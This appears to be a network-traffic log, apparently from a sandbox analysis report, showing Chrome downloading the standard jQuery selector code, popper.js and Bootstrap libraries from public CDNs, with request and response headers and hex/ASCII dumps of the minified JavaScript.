2024-12-19 14:13:33 UTC	1378	IN	Data Raw: 3d 3d 77 26 26 31 31 21 3d 3d 77 29 72 65 74 75 72 6e 20 64 3b 69 66 28 21 65 26 26 28 28 62 3f 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 3a 76 29 21 3d 3d 6e 26 26 6d 28 62 29 2c 62 3d 62 7c 7c 6e 2c 70 29 29 7b 69 66 28 31 31 21 3d 3d 77 26 26 28 6c 3d 5a 2e 65 78 65 63 28 61 29 29 29 69 66 28 66 3d 6c 5b 31 5d 29 7b 69 66 28 39 3d 3d 3d 77 29 7b 69 66 28 21 28 6a 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 29 72 65 74 75 72 6e 20 64 3b 69 66 28 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 28 6a 29 2c 64 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6a 3d 73 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 66 29 29 26 26 74 28 62 2c 6a 29 26 26 6a 2e 69 64 3d 3d 3d 66 29 72 65 74 75 72 6e 20 64 2e 70 75 73 68 Data Ascii: ==w&&11!==w)return d;if(!e&&((b?b.ownerDocument\|\|b:v)!==n&&m(b),b=b\|\|n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push
2024-12-19 14:13:33 UTC	1378	IN	Data Raw: 20 6d 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 63 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 61 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 62 3f 62 2e 70 61 Data Ascii: ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.pa
2024-12-19 14:13:33 UTC	1378	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 7c 7c 21 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 4e 61 6d 65 28 75 29 2e 6c 65 6e 67 74 68 7d 29 2c 63 2e 67 65 74 42 79 49 64 3f 28 64 2e 66 69 6c 74 65 72 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 72 65 70 6c 61 63 65 28 5f 2c 61 61 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 Data Ascii: getElementsByName\|\|!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a)
2024-12-19 14:13:33 UTC	1378	IN	Data Raw: 2e 70 75 73 68 28 22 5b 2a 5e 24 5d 3d 22 2b 4b 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 73 65 6c 65 63 74 65 64 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 3f 3a 76 61 6c 75 65 7c 22 2b 4a 2b 22 29 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 69 64 7e 3d 22 2b 75 2b 22 2d 5d 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 7e 3d 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 71 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 75 2b 22 2b 2a 22 29 2e Data Ascii: .push("[^$]="+K+"(?:''\|\"\")"),a.querySelectorAll("[selected]").length\|\|q.push("\\["+K+"(?:value\|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length\|\|q.push("~="),a.querySelectorAll(":checked").length\|\|q.push(":checked"),a.querySelectorAll("a#"+u+"+").
2024-12-19 14:13:33 UTC	1378	IN	Data Raw: 65 29 69 66 28 62 3d 3d 3d 61 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 42 3d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 64 3d 21 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 3f 64 3a 28 64 3d 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 3d 3d 3d 28 62 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 62 29 3f 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 62 29 3a 31 2c 31 26 64 7c 7c 21 63 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 62 2e 63 6f 6d 70 61 72 65 44 6f 63 75 Data Ascii: e)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument\|\|a)===(b.ownerDocument\|\|b)?a.compareDocumentPosition(b):1,1&d\|\|!c.sortDetached&&b.compareDocu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49718	104.17.24.14	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:33 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:33 UTC	962	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:13:33 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 550633 Expires: Tue, 09 Dec 2025 14:13:33 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ym4rBY%2F0cyHMy%2FvpaCEuHa06u92DX9OhjzD3cH1hdViYBovtBBliDa00j2uSLF27dpRy2poIi9GVF2IlKlmnlMnJbosVUGBiBiN%2B0wMmahDGgNgLFyiuNN%2B2BG%2FmpIQw76MHOJDd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f47fe74fcec0f5b-EWR alt-svc: h3=":443"; ma=86400
2024-12-19 14:13:33 UTC	407	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 Data Ascii: !==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#docume
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f Data Ascii: t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['bo
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 Data Ascii: top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}ret
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e Data Ascii: eight:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 Data Ascii: ole.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={ins
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 Data Ascii: this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{pa
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 Data Ascii: eturn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){r
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 Data Ascii: eturn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}functi
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: eturn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49720	104.18.10.207	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:33 UTC	385	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:33 UTC	967	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 14:13:33 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: c6c8a086d090f1d2baac8a7b0c894894 CDN-Cache: HIT CF-Cache-Status: HIT Age: 2001218 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f47fe74fe188c54-EWR alt-svc: h3=":443"; ma=86400
2024-12-19 14:13:33 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-12-19 14:13:33 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
